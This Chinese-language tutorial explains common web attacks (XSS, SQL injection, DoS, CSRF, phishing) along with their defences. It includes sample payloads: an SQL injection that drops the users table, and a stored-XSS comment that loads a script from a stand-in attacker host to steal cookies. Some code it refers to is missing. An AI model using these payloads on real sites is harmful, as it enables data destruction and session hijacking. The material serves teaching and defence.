按照攻擊頻率占比排序:

1.跨站腳本XSS攻擊
2.SQL注入
3.DOS攻擊
4.跨站偽造CSRF
5.釣魚網站

DOS攻擊

名為：Denial-of-service attack

原理：攻擊者會發送大量的請求，或者模擬大量合法用戶的訪問，占用服務器資源直至耗盡，導致真正有需求的用戶無法訪問此網站。

比如18年，阮一峰的網站被DDOS攻擊。

釣魚網站

用戶通過搜索引擎或者跳轉鏈接進入仿冒的網站（UI、域名和正版網站很相似），用戶在仿冒網站中輸入了用戶名和密碼，導致賬戶信息泄漏。

SQL注入

SQL注入是一種代碼注入的技術，攻擊者可以將惡意SQL語句插入到輸入字段中執行。

場景舉例：

有這樣一個功能：網站前端有一個查詢輸入框，當輸入用戶的姓名時，查詢并展示擁有該姓名的所有用戶。當后端接收到查詢參數戶，做sql語句的拼接，然后執行sql，返回查詢結果。

當用戶輸入的查詢參數如果是這樣的字符時：

則在服務器查詢時相當于執行了：

let sql = "select * from users where name = 'a';drop TABLE users;select * from userinfo where 't' ='t'";

這樣的結果會導致 一次查詢就能刪除用戶庫，當然也能做其他任何數據庫的操作。

應對措施：

• 方法1： 使用ORM庫，調用API，而不是直接運行SQL語句

• 方法2： 在運行SQL語句前對拼接的查詢字段進行轉義

XSS（跨站腳本攻擊）

Cross-site scripting。縮寫成CSS與層疊樣式表縮寫的CSS容易混淆，故改稱XSS。

由于網站存在漏洞，使得攻擊者可以在網站輸入惡意代碼，并讓惡意代碼在其他用戶瀏覽器運行，竊取用戶信息。

非持久性攻擊(反射性攻擊)

反射性XSS，也就是被動的非持久性XSS。

誘騙用戶點擊URL帶攻擊代碼的鏈接，服務器解析后響應，在返回的響應內容中隱藏和嵌入攻擊者的XSS代碼，被瀏覽器執行，從而攻擊用戶。

場景舉例：

1.小明逛淘寶，在訪問淘寶網時會登錄，會留下瀏覽器和服務器分別保存認證Cookie用戶識別小明的身份。
2.攻擊者發現了淘寶網的商品搜索欄有XSS漏洞
3.攻擊者構造鏈接http://taobao.com/search?q=手機<script>惡意代碼</script>并把鏈接發布到各個社交平臺，當作廣告并誘惑用戶去點擊。
4.當小明看到廣告，點開鏈接，這時，惡意代碼就存在在了小明的瀏覽器上，由于小明的淘寶處于登錄狀態，所以惡意代碼可以獲取小明的Cookie，故也能看到小明的所以信息，并模擬小明的所有操作。

持久性攻擊

利用類似于留言板的功能將惡意代碼寫進數據庫，當用戶下次訪問該網站時，因為網站會從數據庫中獲取數據展示信息，所以用戶只要打開這個網站就會中招。

場景舉例：

1.攻擊者發現淘寶網的商品評論框有XSS漏洞2.攻擊者發了一條評論，內容是：“ 該物品買到就是賺到！<script src="http://xss.com/xxx.js">”。這個信息會展示到評論列表中，其中script標簽會嵌入頁面中。3.其他用戶打開該頁面時，閱讀評論的同時實際上惡意代碼已經在偷偷執行。攻擊者就會獲取用戶的Cookie劫持用戶信息。### 防范措施

1.對于富文本編輯器，過濾script等不安全標簽
2.對用戶輸入的內容進行轉義，比如把<script></script>轉義
3.代碼需要動態展示內容時，用innerText來代替 innerHTML， vue使用v-text取代v-html。
4.服務端使用 Set Cookie時，帶上HttpOnly字段，阻止Javascript獲取Cookie
5.對于上傳圖片的場景，禁止使用用戶填寫的圖片地址。特別是MarkDown編輯器。

CSRF攻擊

Cross-site request forgery，跨站點請求偽造。

攻擊者誘導受害者進入第三方網站，在第三方網站中，向被攻擊的網站發送跨站請求。利用受害者在被攻擊網站已經獲取的注冊憑證，繞過后臺的用戶驗證，以達到冒充用戶對被攻擊的網站執行某項操作的目的。

場景舉例：

1.受害者登錄了淘寶網，并保留了登錄憑證（Cookie）
2.攻擊者引誘受害者去訪問第三方網站 b.com
3.b.com 會向淘寶網發送一個請求，瀏覽器會默認帶上受害者登錄淘寶時的Cooike
4.這時淘寶網接收到請求后，對請求進行驗證，并確認是受害者的憑證，誤以為是受害者自己發送的情求。
5.這時攻擊者就在受害者不知情的情況下，冒充受害者，讓淘寶網執行了自己定義的一些操作。

攻擊類型

GET類型的CSRF:

一個常見的場景匿名點贊，服務端會根據匿名訪問者的IP來區別用戶。攻擊者把這個點贊接口集成到自己網站的圖片里，任何人訪問攻擊者的網站都相當于給攻擊者做了嫁衣幫忙店了一次贊。

POST類型的CSRF:

有些服務器的接口是使用 POST 方法的，所以黑客需要在他的站點上偽造 POST 請求，當用戶打開黑客的站點時，是自動提交 POST 請求

在上段代碼中，我們可以看到攻擊者在它的頁面上構建了一個隱藏的表單，該表單內容就是一個某網站的轉賬接口，當用戶打開該站點之后，這個表單就會被自動執行提交；當表單被提交之后，服務器會執行轉賬操作。因此使用構建自動提交表單的這種返回就，可以自動實現跨站點POST數據提交

鏈接類型的CSRF:

這種需要用戶自己動手點擊鏈接才會觸發。這種類型通常會在各個社交平臺發布的圖片中嵌入惡意鏈接，或者以廣告的形式來誘導用戶去點擊。

由于之前用戶登錄了信任的網站A，并且保存了登錄狀態。這時只要用戶主動訪問了上面的這個PHP頁面，則表示攻擊成功。

防護措施

由于CSRF與XSS不同，CSRF攻擊不會往頁面注入惡意腳本，因此攻擊者是無法通過CSRF攻擊來獲取用戶頁面數據的；主要是找到服務器的漏洞，所以對CSRF來說攻擊可以從提升服務器安全性的方面來防護。

1. 利用好Cookie的SameSite屬性

因為攻擊者會利用用戶登錄狀態來發起CSRF攻擊，而Cookie正式瀏覽器和服務器之間維護登錄狀態的一個關鍵數據，因此要阻止CSRF攻擊，需要在Cookie上設置一些東西。

而CSRF攻擊通常是第三方站點發起的，因此可以利用Cookie 中的 SameSite 屬性來阻止CSRF攻擊

2. 在Cookie里寫入csrftoken的值

當用戶提交表單或者發送Ajax情求時，在情求參數或者請求頭帶上之前埋入的csrftoken。請求到服務器后服務器會從用戶的請求參數里拿出token和請求自帶的cookie里的token做對比，如果都存在且一致，則請求通過。

因為這個token是埋在該網站的，攻擊者從第三方網站偽造請求時是得不到這個token所以無法在請求參數中帶上token，請求就會失敗。